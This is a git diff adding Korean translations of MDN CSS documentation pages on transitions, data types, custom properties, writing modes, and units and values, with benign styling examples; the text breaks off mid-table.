+ <dd>이벤트가 발생한 시점에 해당 트랜지션이 진행된 시간을 초로 나타내는 실수<span style="line-height: 1.5;">. 이 값은 {{ cssxref("transition-delay") }} 값에 영향을 받지 않습니다.</span></dd>
+</dl>
+
+<p>평소대로 {{ domxref("element.addEventListener()") }} 메소드를 사용하여 이 이벤트를 모니터링할 수 있습니다.</p>
+
+<pre class="brush: js">el.addEventListener("transitionend", updateTransition, true);
+</pre>
+
+<div class="note"><strong>노트: </strong>트랜지션을 중단하면 <code style="font-size: 14px;">transitionend</code><span style="line-height: 1.5;"> 이벤트는 </span><span style="line-height: 1.5em;">발생하지 않습니다. 트랜지션을 완료하기 전에 애니메이션하고 있는 속성의 값이 바뀌기 때문입니다.</span></div>
+
+<h2 id="속성값_목록이_다른_개수를_가진_경우">속성값 목록이 다른 개수를 가진 경우</h2>
+
+<p>어떤 속성의 값 목록이 다른 것보다 짧다면, 일치되도록 그 값을 반복합니다. 예를 들면,</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+</pre>
+
+<p>위는 아래와 같이 처리합니다.</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}</pre>
+
+<p>비슷하게, 어떤 속성의 값 목록이 {{ cssxref("transition-property") }} 목록보다 길다면, 그것은 끝을 잘라냅니다. 그래서, 아래의 CSS가 있다면,</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}</pre>
+
+<p>위를 아래와 같이 해석합니다.</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}</pre>
+
+<h2 id="간단한_예제">간단한 예제</h2>
+
+<p>이 예제는 사용자가 마우스를 해당 요소 위에 올려놓고 애니메이션 효과가 시작할 때까지 2초의 딜레이가 있는 4초짜리 폰트 크기 트랜지션을 수행합니다.</p>
+
+<pre class="brush: css">#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+</pre>
+
+<h2 id="메뉴_하이라이팅에_트랜지션_사용">메뉴 하이라이팅에 트랜지션 사용</h2>
+
+<p>CSS의 흔한 사용은 <span style="line-height: 1.5;">사용자가 마우스 커서를 메뉴 위에 올려놓을 때 그 메뉴 </span><span style="line-height: 1.5;">아이템을 하이라이팅하는 것입니다. 트랜지션을 사용하여 효과를 훨씬 더 매력적으로 만들 수 있습니다.</span></p>
+
+<p>코드 스니핏(snippets, 역자주: 재활용이 가능한 소스 조각)을 보기 전에, <span style="line-height: 1.5;">(여러분의 브라우저가 트랜지션을 지원한다고 가정하면) </span><a class="external" href="/samples/cssref/transitions/sample2" style="line-height: 1.5;" title="http://developer.mozilla.org/samples/cssref/transitions/sample2/">라이브 데모</a><span style="line-height: 1.5;">를 보고 싶을지도 모르겠습니다. 그것이 사용한 </span><a class="external" href="/samples/cssref/transitions/sample2/transitions.css" style="line-height: 1.5;" title="http://developer.mozilla.org/samples/cssref/transitions/sample2/transitions.css">CSS를 직접</a> <span style="line-height: 1.5;">볼 수도 있습니다.</span></p>
+
+<p>우선 HTML을 사용하여 메뉴를 설정합니다.</p>
+
+<pre class="brush: html">&lt;div class="sidebar"&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="home"&gt;Home&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="about"&gt;About&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="contact"&gt;Contact Us&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="links"&gt;Links&lt;/a&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>그리고 우리 메뉴의 모습과 느낌(look and feel)을<span style="line-height: 1.5;"> CSS로 만듭니다. 관련 부분이 여기 있습니다.</span></p>
+
+<pre class="brush: css">.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  background-color:white;
+  color:black;
+  box-shadow: 2px 2px 1px black;
+}
+</pre>
+
+<p>이 CSS는 그 요소가 <span style="line-height: 1.5;">{{ cssxref(":hover") }} 상태일 때 배경과</span><span style="line-height: 1.5;"> 텍스트 색상 모두를 변경하면서 메뉴의 모습을 설정합니다.</span></p>
+
+<p>그 효과를 장황하게 설명하는 대신, <a class="external" href="/en/CSS/CSS_transitions#Browser_compatibility" style="line-height: 1.5;" title="en/CSS/CSS_transitions#Browser_compatibility">브라우저가 트랜지션을 지원한다면, </a><a href="/samples/cssref/transitions/sample2" style="line-height: 1.5;" title="https://developer.mozilla.org/samples/cssref/transitions/sample2">라이브 샘플을 살펴보세요</a><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="트랜지션을_이용하여_JavaScript_기능_부드럽게_하기">트랜지션을 이용하여 JavaScript 기능 부드럽게 하기</h2>
+
+<p>트랜지션은 JavaScript 기능에 아무것도 하지 않고 훨씬 더 부드럽게 보이도록 하는 훌륭한 도구입니다. 아래 예제를 보세요.</p>
+
+<pre class="brush: html">&lt;p&gt;Click anywhere to move the ball&lt;/p&gt;
+&lt;div id="foo"&gt;&lt;/div&gt;
+</pre>
+
+<p>JavaScript를 사용하여 공을 어떤 위치로 움직이는 효과가 일어나게 할 수 있습니다.</p>
+
+<pre class="brush: js">var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.left = (ev.clientX-25)+'px';
+    f.style.top = (ev.clientY-25)+'px';
+},false);
+</pre>
+
+<p>추가 노력 없이 <span style="line-height: 1.5;">CSS로 </span><span style="line-height: 1.5;">이것을 부드럽게 할 수 있습니다. 단순히 그 요소에 트랜지션을 추가하면 어떠한 변화도 부드럽게 일어날 것입니다.</span></p>
+
+<pre class="brush: css">p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition:  all 1s;
+}
+</pre>
+
+<p>여기에서 확인할 수 있습니다. <a class="external" href="http://jsfiddle.net/RwtHn/5/" title="http://jsfiddle.net/RwtHn/5/">http://jsfiddle.net/RwtHn/5/</a></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '', '') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li><span class="external"><a href="http://techstream.org/Web-Design/Dock-Menu-with-CSS3" title="CSS3 Dock Menu using CSS transitions">CSS3 Dock Menu</a> using CSS transitions</span></li>
+ <li>The {{ domxref("TransitionEvent") }} interface and the <a href="/en-US/docs/Mozilla_event_reference/transitionend" title="The 'transitionend' event"><code>transitionend</code></a> event.</li>
+</ul>
diff --git a/files/ko/web/css/css_types/index.html b/files/ko/web/css/css_types/index.html
new file mode 100644
index 0000000000..a819349900
--- /dev/null
+++ b/files/ko/web/css/css_types/index.html
@@ -0,0 +1,100 @@
+---
+title: CSS 자료형
+slug: Web/CSS/CSS_Types
+tags:
+  - CSS
+  - CSS Data Type
+  - Overview
+  - Reference
+  - 자료형
+translation_of: Web/CSS/CSS_Types
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>CSS 자료형</strong>은 CSS 속성과 함수가 받아들이는, 키워드와 단위를 포함한 일반적인 값을 정의합니다.</span> 자료형은 <a href="https://www.w3.org/TR/css3-values/#component-types">Component value type</a>의 특별한 종류입니다.</p>
+
+<p>형식 구문에서 자료형을 나타낼 땐 부등호 "&lt;"와 "&gt;"로 감싸서 표기합니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;angle-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;angular-color-hint&gt;")}}</li>
+ <li>{{cssxref("&lt;angular-color-stop&gt;")}}</li>
+ <li>{{cssxref("&lt;attr-fallback&gt;")}}</li>
+ <li>{{cssxref("&lt;attr-name&gt;")}}</li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-product&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-sum&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-value&gt;")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;color-stop&gt;")}}</li>
+ <li>{{cssxref("&lt;color-stop-angle&gt;")}}</li>
+ <li>{{cssxref("&lt;counter-style&gt;")}}</li>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li>{{cssxref("&lt;dimension&gt;")}}</li>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("&lt;ident&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;length&gt;")}}</li>
+ <li>{{cssxref("&lt;length-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;number-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+ <li>{{cssxref("&lt;quote&gt;")}}</li>
+ <li>{{cssxref("&lt;ratio&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-box&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-radius&gt;")}}</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;time-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;timing-function&gt;")}}</li>
+ <li>{{cssxref("&lt;toggle-value&gt;")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("&lt;type-or-unit&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+ <li>{{cssxref("&lt;url-modifier&gt;")}}</li>
+ <li>{{cssxref("&lt;zero&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Values') }}</td>
+   <td>{{ Spec2('CSS4 Values') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Values') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Values_and_Units">CSS 단위와 값</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS 단위와 값 소개</a></li>
+</ul>
diff --git a/files/ko/web/css/css_variables/index.html b/files/ko/web/css/css_variables/index.html
new file mode 100644
index 0000000000..56efa433e7
--- /dev/null
+++ b/files/ko/web/css/css_variables/index.html
@@ -0,0 +1,37 @@
+---
+title: CSS Custom Properties for Cascading Variables
+slug: Web/CSS/CSS_Variables
+translation_of: Web/CSS/CSS_Variables
+---
+<div>{{cssref}}</div>
+
+<p><strong>CSS Custom Properties for Cascading Variables</strong></p>
+
+<p>캐스케이딩 변수를 위한 CSS 사용자지정 속성은, 반복적으로 사용가능한 사용자지정 속성을 만들 수 있게 해주는 모듈입니다.</p>
+
+<h2 id="CSS_속성">CSS 속성</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("--*")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_writing_modes/index.html b/files/ko/web/css/css_writing_modes/index.html
new file mode 100644
index 0000000000..a69bc088cc
--- /dev/null
+++ b/files/ko/web/css/css_writing_modes/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS Writing Modes
+slug: Web/CSS/CSS_Writing_Modes
+tags:
+  - CSS
+  - CSS Writing Modes
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Writing_Modes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Writing Modes</strong>는 다양한 국제 쓰기 모드를 정의하는 CSS 모듈입니다, 좌에서 우(가령 Latin 및 Indic 스크립트에 사용됨), 우에서 좌(가령 Hebrew 또는 Arabic 스크립티에 사용됨), 양방향(좌에서 우 및 우에서 좌 스크립트를 섞을 때 사용됨) 및 세로(가령 일부 Asian 스크립트에 사용됨) 등.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("glyph-orientation-horizontal")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_단위와_값/index.html b/files/ko/web/css/css_단위와_값/index.html
new file mode 100644
index 0000000000..94d8ceabd6
--- /dev/null
+++ b/files/ko/web/css/css_단위와_값/index.html
@@ -0,0 +1,497 @@
+---
+title: CSS 단위와 값
+slug: Web/CSS/CSS_단위와_값
+tags:
+  - CSS
+  - 값과 단위
+  - 안내서
+  - 참조
+translation_of: Web/CSS/CSS_Values_and_Units
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">모든 CSS 선언은 속성 / 값 쌍을 포함합니다. 속성에 따라 값은 하나의 정수 또는 키워드, 여러 개의 키워드, 단위가 있거나 없는 값의 나열이 될 수 있습니다. CSS 속성에 허용되는 공통적인 자료형(단위와 값)의 집합이 있습니다.</span> 아래는 이들 자료형 대부분에 대한 개요입니다. 더 자세한 정보를 보려면 각 자료형의 페이지를 참고하세요.</p>
+
+<h2 id="텍스트_자료형">텍스트 자료형</h2>
+
+<ul>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li><code>&lt;ident&gt;</code>로서 미리 정의된 키워드</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+</ul>
+
+<p>텍스트 자료형은 <code>&lt;string&gt;</code>이거나, 연속된 문자를 따옴표로 감싼 것, 또는 따옴표로 감싸지 않은 "CSS 식별자"인 <code>&lt;ident&gt;</code>가 될 수 있습니다. <code>&lt;string&gt;</code>은 작은따옴표 또는 큰따옴표로 감싸져야 합니다. 사양에서 <code>&lt;ident&gt;</code> 또는 <code>&lt;custom-ident&gt;</code>의 목록에 포함되어 있는 CSS 식별자는 따옴표로 감싸서는 안 됩니다.</p>
+
+<p>CSS 사양에서는 웹 개발자가 정의할 수 있는 값들, 가령 키프레임 애니메이션이나 서체 가족의 이름, 그리드 영역 같은 것들을 {{cssxref("&lt;custom-ident&gt;")}}, {{cssxref("&lt;string&gt;")}}, 또는 둘 다로서 목록에 표시합니다.</p>
+
+<p>사용자가 정의한 텍스트 값을 따옴표로 감싸는 것과 감싸지 않는 것 모두가 허용되는 경우, 사양에서는 <code>&lt;custom-ident&gt; | &lt;string&gt;</code>로서 이를 목록에 표시하며, 이는 따옴표가 선택 사항임을 의미합니다. 애니메이션 이름이 바로 그런 경우입니다:</p>
+
+<pre class="brush: css notranslate">@keyframe validIdent {
+  /* keyframes go here */
+}
+@keyframe 'validString' {
+  /* keyframes go here */
+}</pre>
+
+<p>몇몇 텍스트 값은 따옴표로 감싸지 않는 경우 유효하지 않습니다. 예를 들어, {{cssxref("grid-area")}}의 값은 <code>&lt;custom-ident&gt;</code>일 수 있으므로, 만약 <code>content</code>라는 이름의 그리드 영역이 있을 때 아래처럼 이를 따옴표 없이 사용할 수 있습니다:</p>
+
+<pre class="brush: css notranslate">.item {
+  grid-area: content;
+}
+</pre>
+
+<p>반면, {{cssxref("&lt;string&gt;")}}인 자료형의 경우, 예를 들어 {{cssxref("content")}} 속성의 문자열 값은 따옴표로 감싸져야 합니다:</p>
+
+<pre class="brush: css notranslate">.item::after {
+    content: "This is my content.";
+}
+</pre>
+
+<p>일반적으로 이모지를 포함해 여러분이 원하는 아무 이름이나 만들 수 있지만, <code>none</code>, <code>unset</code>, <code>initial</code>, <code>inherit</code>, 숫자 또는 2개의 대시로 시작하는 이름은 식별자가 될 수 없으며, 대부분의 경우 미리 정의된 다른 CSS 키워드와 동일한 이름을 사용하고 싶지는 않을 것입니다. 더 자세한 내용을 보려면 {{cssxref("&lt;custom-ident&gt;")}}와 {{cssxref("&lt;string&gt;")}}의 참조 페이지를 확인하세요.</p>
+
+<h3 id="미리_정의된_키워드_값">미리 정의된 키워드 값</h3>
+
+<p>미리 정의된 키워드 값은 특정 속성의 사양에 정의된 텍스트 값입니다. 이 키워드들은 CSS 식별자이기도 해서 따옴표 없이 사용됩니다.</p>
+
+<p>CSS 사양 또는 MDN의 속성 페이지에서 CSS 속성의 값에 대한 문법을 보면, 허용되는 키워드가 아래와 같은 형태로 나열됩니다. 아래는 {{cssxref("float")}}에 허용되는 미리 정의된 키워드 값입니다.</p>
+
+<pre class="syntaxbox notranslate">left <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> right <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> none <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> inline-start <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> inline-end</pre>
+
+<p>이런 값들은 따옴표 없이 사용됩니다:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+    float: left;
+}
+</code></pre>
+
+<h3 id="CSS_전체에_공유되는_값">CSS 전체에 공유되는 값</h3>
+
+<p>한 속성의 사양의 일부로서 존재하는 미리 정의된 키워드와 더불어, 모든 CSS 속성은 CSS 전체에 걸쳐 공유되는 값인 {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}을 받아들일 수 있으며, 이들은 기본 동작을 명시적으로 지정합니다.</p>
+
+<p><code>initial</code> 키워드는 속성의 초기 값으로 지정된 값을 표현합니다. <code>inherit</code> 키워드는 해당 요소의 부모에 적용된 동일 속성의 계산값을 표현하며, 해당 속성이 상속된다고 가정합니다.</p>
+
+<p><code>unset</code> 키워드는 <code>inherit</code> 또는 <code>initial</code>처럼 동작하는데, 해당 속성이 상속되는 경우 전자, 아닌 경우 후자로 동작합니다.</p>
+
+<p>네번째 값으로 {{cssxref("revert")}}가 Cascade Level 4 사양에 추가되었지만, 지금은 브라우저 지원 상태가 좋지 않습니다.</p>
+
+<h3 id="URL">URL</h3>
+
+<p>{{cssxref("&lt;url&gt;")}} 자료형은 함수 표기법을 사용하며, 함수가 URL에 해당하는 <code>&lt;string&gt;</code>을 받는 형태입니다. 이것은 절대 URL 또는 상대 URL일 수 있습니다. 예를 들어, 배경 이미지를 넣고 싶을 때 다음 중 아무거나 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  background-image: url("images/my-background.png");
+}</code>
+
+<code>.box {
+  background-image: url("https://www.exammple.com/images/my-background.png");
+}</code>
+</pre>
+
+<p><code>url()</code> 의 매개변수는 따옴표로 감싸거나 감싸지 않을 수 있습니다. 감싸지 않는 경우, 이는 <code>&lt;url-token&gt;</code>으로 해석되어 특정 문자를 이스케이프하는 등의 추가적인 할 일이 생깁니다. 더 자세한 내용을 보려면 {{cssxref("&lt;url&gt;")}}를 확인하세요.</p>
+
+<h2 id="숫자_자료형">숫자 자료형</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;dimension&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+</ul>
+
+<h3 id="정수">정수</h3>
+
+<p>정수는 1개 이상의 10진수 숫자(<code>0</code>부터 <code>9</code>)로, 예를 들어 <code>1024</code>나 <code>-55</code>가 이에 속합니다. 정수 앞에는 <code>+</code> 또는 <code>-</code> 기호를 덧붙일 수 있는데, 기호와 정수 사이에 공백이 없어야 합니다.</p>
+
+<h3 id="숫자">숫자</h3>
+
+<p>{{cssxref("&lt;number&gt;")}}는 실수를 나타내며, 소수점과 소수부분을 포함할 수도 있고 포함하지 않을 수도 있습니다. 예를 들어 <code>0.255</code>, <code>128</code>, <code>-1.2</code>가 이에 속합니다. 숫자 앞에도 <code>+</code>나 <code>-</code> 기호를 덧붙일 수 있습니다.</p>
+
+<h3 id="치수">치수</h3>
+
+<p>{{cssxref("&lt;dimension&gt;")}}은 <code>&lt;number&gt;</code>에 단위를 붙인 것으로, 예를 들면 <code>45deg</code>, <code>100ms</code>, <code>10px</code>가 이에 속합니다. 덧붙인 단위 식별자는 대소문자를 구별하지 않습니다. 숫자와 단위 식별자 사이에는 공백 또는 다른 문자가 들어갈 수 없습니다: 즉, <code>1 cm</code>는 유효하지 않습니다.</p>
+
+<p>CSS는 치수를 사용해 아래와 같은 것들을 표시합니다:</p>
+
+<ul>
+ <li>{{cssxref("&lt;length&gt;")}} (거리 단위)</li>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+</ul>
+
+<p>다음 절에서 이것들을 다룹니다.</p>
+
+<h4 id="거리_단위">거리 단위</h4>
+
+<p>거리 단위, 또는 길이가 값으로 허용되는 속성은 {{cssxref("&lt;length&gt;")}} 자료형으로 표시됩니다. CSS에는 2가지 종류의 길이가 있습니다: 상대적 길이와 절대적 길이입니다.</p>
+
+<p>상대적 길이 단위는 다른 무언가와 비교해 상대적인 길이를 나타냅니다. 예를 들어, <code>em</code>은 해당 요소의 폰트 크기에 상대적이며 <code>vh</code>는 뷰포트의 높이에 상대적입니다.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="상대적_길이_단위들">상대적 길이 단위들</h4>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">비교의 대상</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>em</code></td>
+   <td>해당 요소의 폰트 크기</td>
+  </tr>
+  <tr>
+   <td><code>ex</code></td>
+   <td>해당 요소의 폰트의 x높이</td>
+  </tr>
+  <tr>
+   <td><code>cap</code></td>
+   <td>해당 요소의 폰트의 대문자 높이(대문자의 공칭 높이)</td>
+  </tr>
+  <tr>
+   <td><code>ch</code></td>
+   <td>해당 요소의 폰트의 좁은 문자가 평균적으로 나아가는 길이, “0” (ZERO, U+0030) 문자로 대표됨.</td>
+  </tr>
+  <tr>
+   <td><code>ic</code></td>
+   <td>해당 요소의 폰트의 전각 문자가 평균적으로 나아가는 길이, “水” (CJK 물 표의 문자, U+6C34) 문자로 대표됨.</td>
+  </tr>
+  <tr>
+   <td><code>rem</code></td>
+   <td>루트 요소의 폰트 크기</td>
+  </tr>
+  <tr>
+   <td><code>lh</code></td>
+   <td>해당 요소의 줄 높이</td>
+  </tr>
+  <tr>
+   <td><code>rlh</code></td>
+   <td>루트 요소의 줄 높이</td>
+  </tr>
+  <tr>
+   <td><code>vw</code></td>
+   <td>뷰포트 너비의 1%</td>
+  </tr>
+  <tr>
+   <td><code>vh</code></td>
+   <td>뷰포트 높이의 1%</td>
+  </tr>
+  <tr>
+   <td><code>vi</code></td>
+   <td>루트 요소의 인라인 축 방향으로 뷰포트 길이의 1%</td>
+  </tr>
+  <tr>
+   <td><code>vb</code></td>
+   <td>루트 요소의 블록 축 방향으로 뷰포트 길이의 1%</td>
+  </tr>
+  <tr>
+   <td><code>vmin</code></td>
+   <td>뷰포트의 길이 중 더 짧은 것의 1%</td>
+  </tr>
+  <tr>
+   <td><code>vmax</code></td>
+   <td>뷰포트의 길이 중 더 긴 것의 1%</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>절대적 길이 단위는 인치 또는 센티미터의 물리적 길이로 고정적입니다. 그래서 이 단위들의 다수는 인쇄물과 같은 고정된 크기의 매체로 출력되는 경우에 유용합니다. 예를 들어, <code>mm</code>는 물리적인 밀리미터, 즉 센티미터의 1/10입니다.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="절대적_길이_단위">절대적 길이 단위</h4>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">이름</th>
+   <th scope="col">다음과 동일함</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cm</code></td>
+   <td>센티미터</td>
+   <td>1cm = 96px/2.54</td>
+  </tr>
+  <tr>
+   <td><code>mm</code></td>
+   <td>밀리미터</td>
+   <td>1mm = 1cm의 1/10</td>
+  </tr>
+  <tr>
+   <td><code>Q</code></td>
+   <td>쿼터-밀리미터</td>
+   <td>1Q = 1cm의 1/40</td>
+  </tr>
+  <tr>
+   <td><code>in</code></td>
+   <td>인치</td>
+   <td>1in = 2.54cm = 96px</td>
+  </tr>
+  <tr>
+   <td><code>pc</code></td>
+   <td>피카</td>
+   <td>1pc = 1in의 1/16</td>
+  </tr>
+  <tr>
+   <td><code>pt</code></td>
+   <td>포인트</td>
+   <td>1pt = 1in의 1/72</td>
+  </tr>
+  <tr>
+   <td><code>px</code></td>
+   <td>픽셀</td>
+   <td>1px = 1in의 1/96</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>길이 값을 포함할 때 길이가 <code>0</code>이면, 단위 식별자가 필요하지 않습니다. 그 외의 경우 단위 식별자가 필요합니다. 단위 식별자는 대소문자를 구별하지 않으며, 값의 숫자 부분 이후에 공백 없이 바로 나와야 합니다.</p>
+
+<h4 id="각도_단위">각도 단위</h4>
+
+<p>각도 값은 {{cssxref("&lt;angle&gt;")}} 자료형으로 표시되며 다음의 값이 허용됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">이름</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>deg</code></td>
+   <td>도</td>
+   <td>360도가 완전한 원을 이룹니다.</td>
+  </tr>
+  <tr>
+   <td><code>grad</code></td>
+   <td>그라디안</td>
+   <td>400 그라디안이 완전한 원을 이룹니다.</td>
+  </tr>
+  <tr>
+   <td><code>rad</code></td>
+   <td>라디안</td>
+   <td>2π 라디안이 완전한 원을 이룹니다.</td>
+  </tr>
+  <tr>
+   <td><code>turn</code></td>
+   <td>턴</td>
+   <td>1턴이 완전한 원을 이룹니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="시간_단위">시간 단위</h4>
+
+<p>시간 단위는 {{cssxref("&lt;time&gt;")}} 자료형으로 표시됩니다. 시간 단위를 포함할 때는 단위 식별자인 <code>s</code> 또는 <code>ms</code>가 반드시 필요합니다. 아래의 값이 허용됩니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">단위</th>
+   <th scope="col">이름</th>
